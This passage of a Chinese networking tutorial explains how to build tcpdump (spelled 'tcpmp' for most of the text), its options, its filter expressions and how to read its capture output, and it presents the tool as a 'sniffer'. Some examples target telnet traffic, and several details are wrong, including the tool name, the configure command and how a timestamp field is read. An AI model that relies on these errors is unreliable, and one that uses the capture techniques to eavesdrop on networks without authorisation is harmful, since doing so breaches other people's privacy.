在编译源程序之前,最好已经确定库文件libpcap已经安装完毕,这个库文件是tcpmp软件所需的库文件。同样,你同时还要有一个标准的c语言编译器。在linux下标准的c 语言编译器一般是gcc。 在tcpmp的源程序目录中。有一个文件是Makefile.in,configure命令就是从Makefile.in文件中自动产生Makefile文件。在Makefile.in文件中,可以根据系统的配置来修改BINDEST 和 MANDEST 这两个宏定义,缺省值是
BINDEST = @sbindir @
MANDEST = @mandir @
第一个宏值表明安装tcpmp的二进制文件的路径名,第二个表明tcpmp的man 帮助页的路径名,你可以修改它们来满足系统的需求。
· 第三步 编译源程序
使用源程序目录中的configure脚本,它从系统中读出各种所需的属性。并且根据Makefile.in文件自动生成Makefile文件,以便编译使用.make 命令则根据Makefile文件中的规则编译tcpmp的源程序。使用make install命令安装编译好的tcpmp的二进制文件。
总结一下就是:
# tar xvfz tcpmp-3_4a5.tar.Z
# vi Makefile.in
# . /configure
# make
# make install
[2].Tcpmp的使用
tcpmp采用命令行方式,它的命令格式为:
tcpmp [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]
[ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]
[ -T 类型 ] [ -w 文件名 ] [表达式 ]
1. tcpmp的选项介绍
-a 将网络地址和广播地址转变成名字;
-d 将匹配信息包的代码以人们能够理解的汇编格式给出;
-dd 将匹配信息包的代码以c语言程序段的格式给出;
-ddd 将匹配信息包的代码以十进制的形式给出;
-e 在输出行打印出数据链路层的头部信息;
-f 将外部的Internet地址以数字的形式打印出来;
-l 使标准输出变为缓冲行形式;
-n 不把网络地址转换成名字;
-t 在输出的每一行不打印时间戳;
-v 输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息;
-vv 输出详细的报文信息;
-c 在收到指定的包的数目后,tcpmp就会停止;
-F 从指定的文件中读取表达式,忽略其它的表达式;
-i 指定监听的网络接口;
-r 从指定的文件中读取包(这些包一般通过-w选项产生);
-w 直接将包写入文件中,并不分析和打印出来;
-T 将监听到的包直接解释为指定的类型的报文,常见的类型有rpc (远程过程 调用)和snmp(简单网络管理协议;)
2. tcpmp的表达式介绍
表达式是一个正则表达式,tcpmp利用它作为过滤报文的条件,如果一个报文满足表达式的条件,则这个报文将会被捕获。如果没有给出任何条件,则网络上所有的信息包将会被截获。
在表达式中一般如下几种类型的关键字,一种是关于类型的关键字,主要包括host,net,port, 例如 host 210.27.48.2,指明 210.27.48.2是一台主机,net 202.0.0.0 指明 202.0.0.0是一个网络地址,port 23 指明端口号是23。如果没有指定类型,缺省的类型是host.
第二种是确定传输方向的关键字,主要包括src , dst ,dst or src, dst and src ,这些关键字指明了传输的方向。举例说明,src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字,则缺省是src or dst关键字。
第三种是协议的关键字,主要包括fddi,ip ,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议,实际上它是"ether"的别名,fddi和ether具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpmp将会监听所有协议的信息包。
除了这三种类型的关键字之外,其他重要的关键字如下:gateway, broadcast,less,greater,还有三种逻辑运算,取非运算是 'not ' '! ', 与运算是'and','&&';或运算 是'or' ,'';
这些关键字可以组合起来构成强大的组合条件来满足人们的需要,下面举几个例子来说明。
(1)想要截获所有210.27.48.1 的主机收到的和发出的所有的数据包:
#tcpmp host 210.27.48.1
(2) 想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信,使用命令:(在命令行中适用括号时,一定要
#tcpmp host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)
(3) 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:
#tcpmp ip host 210.27.48.1 and ! 210.27.48.2
(4)如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令:
#tcpmp tcp port 23 host 210.27.48.1
3. tcpmp 的输出结果介绍
下面我们介绍几种典型的tcpmp命令的输出信息
(1) 数据链路层头信息
使用命令#tcpmp --e host ice
ice 是一台装有linux的主机,她的MAC地址是0:90:27:58:AF:1A
H219是一台装有SOLARIC的SUN工作站,它的MAC地址是8:0:20:79:5B:46;上一条命令的输出结果如下所示:
21:50:12.847509 eth0 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ice.telne
t 0:0(0) ack 22535 win 8760 (DF)
分析:21:50:12是显示的时间, 847509是ID号,eth0 表示从网络接口设备发送数据包, 8:0:20:79:5b:46是主机H219的MAC地址,它表明是从源地址H219发来的数据包. 0:90:27:58:af:1a是主机ICE的MAC地址,表示该数据包的目的地址是ICE . ip 是表明该数据包是IP数据包,60 是数据包的长度, h219.33357 > ice.telnet 表明该数据包是从主机H219的33357端口发往主机ICE的TELNET(23)端口. ack 22535 表明对序列号是222535的包进行响应. win 8760表明发送窗口的大小是8760.
(2) ARP包的TCPDUMP输出信息
使用命令#tcpmp arp
得到的输出结果是:
22:32:42.802509 eth0 > arp who-has route tell ice (0:90:27:58:af:1a)
22:32:42.802902 eth0 < arp reply route is-at 0:90:27:12:10:66 (0:90:27:58:af:1a)
分析: 22:32:42是时间戳, 802509是ID号, eth0 >表明从主机发出该数据包, arp表明是ARP请求包, who-has route tell ice表明是主机ICE请求主机ROUTE的MAC地址。 0:90:27:58:af:1a是主机ICE的MAC地址。
(3) TCP包的输出信息
用TCPDUMP捕获的TCP包的一般输出信息是:
src > dst: flags data-seqno ack window urgent options
src > dst:表明从源地址到目的地址, flags是TCP包中的标志信息,S 是SYN标志, F (FIN), P (PUSH) , R (RST) "." (没有标记); data-seqno是数据包中的数据的顺序号, ack是下次期望的顺序号, window是接收缓存的窗口大小, urgent表明数据包中是否有紧急指针. Options是选项.
(4) UDP包的输出信息
用TCPDUMP捕获的UDP包的一般输出信息是:
route.port1 > ice.port2: udp lenth
UDP十分简单,上面的输出行表明从主机ROUTE的port1端口发出的一个UDP数据包到主机ICE的port2端口,类型是UDP, 包的长度是lenth上面,我就详细介绍了TCPDUMP的安装和使用,希望会对大家有所帮助。如果想要熟练运用TCPDUMP这个LINUX环境下的SNIFFER利器,还需要大家在实践中总结经验,充分发挥它的威力。
(五).windows平台上的sniffer
我推荐netxray和sniffer pro软件,想必大家都用过他们,不过我在这儿还要再简单介绍一下他们。